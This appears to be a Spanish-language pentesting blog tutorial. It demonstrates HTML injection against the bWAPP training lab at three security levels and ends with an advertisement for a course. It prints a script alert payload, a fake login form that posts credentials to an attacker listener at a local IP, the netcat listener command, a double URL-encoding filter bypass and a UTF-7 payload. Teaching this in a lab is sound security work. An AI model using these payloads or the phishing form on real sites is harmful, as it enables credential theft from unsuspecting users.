En este blog, explicaré la vulnerabilidad de inyección de HTML y cómo probar una aplicación web vulnerable contra esta vulnerabilidad. Si estas iniciando te recomiendo leer primero este post: https://achirou.com/pentesting-web-introduccion-a-inyeccion-html/ donde explico las bases y este otro: donde te enseño a instalar bWAPP: https://achirou.com/bwapp-entorno-de-entrenamiento-en-ciberseguridad. Utilizaremos bWAPP para hacer las puebas.
¿Te gustaría enterarte de cuando lanzamos descuentos al Máximo o Nuevos Cursos?
Nivel de seguridad: BAJO
Ingresemos algunos valores aleatorios en los campos de texto para comprobar qué sucede.
Como podes ver, la aplicación repite las entradas proporcionadas en la URL y la página web.
Suponiendo que la aplicación no realiza ningún otro procesamiento de datos, inyectaremos cualquier código HTML en los campos de texto vulnerables.
Podemos ver que si utilizamos etiquetas HTML la web responde. Noten como podemos ver lo ingresado en la barra de direcciones.
Ahora intentamos inyectar una etiqueta html <script>alert(”achirou.com’);</script> en el campo de entrada del apellido.
En esta imagen podemos ver que el navegador ejecuta la etiqueta <script> que inyectamos.
Un atacante puede ser creativo tanto como quiera para engañar a la víctima para que ingrese una URL maliciosa que parezca legítima en el navegador de la víctima. Para ello puede utilizar la ingeniería social u otras técnicas interesantes. Vamos a agregar un nuevo formulario y capturar los detalles ingresados en él. Creé un formulario de inicio de sesión HTML rápido y sencillo que enlaza con un oyente en una máquina atacante.
<h2>Login Here!</h2>
<form action="http://192.168.1.95:2501" method="POST">
<p><label for="login">Login:</label><br />
<input type="text" id="login" name="login"></p>
<p><label for="pass">Password:</label><br />
<input type="password" id="pass" name="pass"></p>
<button type="submit" name="form" value="submit">Submit</button>
</form>
Utilicé este HTML como mis datos en la página. Publicar estos creó otro formulario.
Una vez que el formulario estuvo activo, configuré un oyente usando nc –lvp 2501
Completar el formulario y enviarlo debería capturar los detalles de mi máquina atacante.
¡Y lo hace!
Esto podría explotarse mucho más ya que la inyección de HTML es en realidad parte de la URL y, por lo tanto, la página podría compartirse con otros usuarios desprevenidos.
Nivel de seguridad: MEDIO
Como primer paso, ingresemos algunos valores en los campos de texto.
Después de cambiar el nivel de seguridad, las entradas se reflejan tal como están en la página sin la ejecución del código malicioso. Entonces, intentaremos algo nuevo para atacar la página.
Para obtener algunas pistas, veamos el código fuente.
Cuando vemos el código fuente, parece que los caracteres “<” &”>” se reemplazan con entidades HTML codificadas. Pero sin esos caracteres, el navegador no procesará nuestro código.
Codificación de entidades HTML
La codificación de entidades HTML es una técnica común para mitigar la inyección de HTML y los ataques XSS. Sin embargo, no hay forma de atacar decodificando las entidades HTML. Entonces, veremos qué podemos hacer para evitar el módulo de detección de HTML incorporado.
Se puede utilizar una URL con doble codificación para realizar el ataque. En esta técnica, el primer proceso de decodificación se realiza mediante el protocolo HTTP y la URL resultante omitirá el filtro HTML/XSS ya que no tiene ningún mecanismo para mejorar la detección.
Como segundo paso, usaremos la codificación de URL dos veces para codificar el código malicioso.
Ahora podemos interceptar la solicitud y reemplazar el valor codificado con código codificado en URL doble y verificar si funciona bien.
Como resultado de la omisión, podemos ver claramente que el código fuente ha cambiado. Ahora podemos pasar al último paso. Reenvié la solicitud modificada para ejecutar la inyección.
Ahora podemos ver que nuestra carga útil se ha ejecutado.
💡CONSEJO: codificar la carga útil ayuda a evadir los filtros en la inyección HTML.
Nivel de seguridad: alto
Aquí la entrada se desinfecta usando htmlspecialchars() por lo que necesitamos usar diferentes tipos de codificación. Necesitamos un navegador que admita UTF-7 y la carga útil <script>alert()</script> se parece a +ADw-script+AD4-alert()+ADw-/script+AD4- cuando está codificada en UTF-7.
Pentesting Web. Prácticas de un Ethical Hacker Profesional
Dada la importancia del pentesting en la seguridad empresarial, la formación en ciberseguridad y hacking ético se vuelve esencial. Si deseas aprender sobre Pentesting Web puedes tomar nuestro curso: Aprende Pentesting Web, Hacking Ético y Ciberseguridad. Practicas reales y aprender todo sobre Vulnerar entornos Web.
Obtén un perfil completo y altamente demandado por las empresas, mejorando así tu carrera profesional en un sector que busca constantemente profesionales cualificados. ¡Descubre cómo puede impulsar tu futuro en ciberseguridad y hacking ético!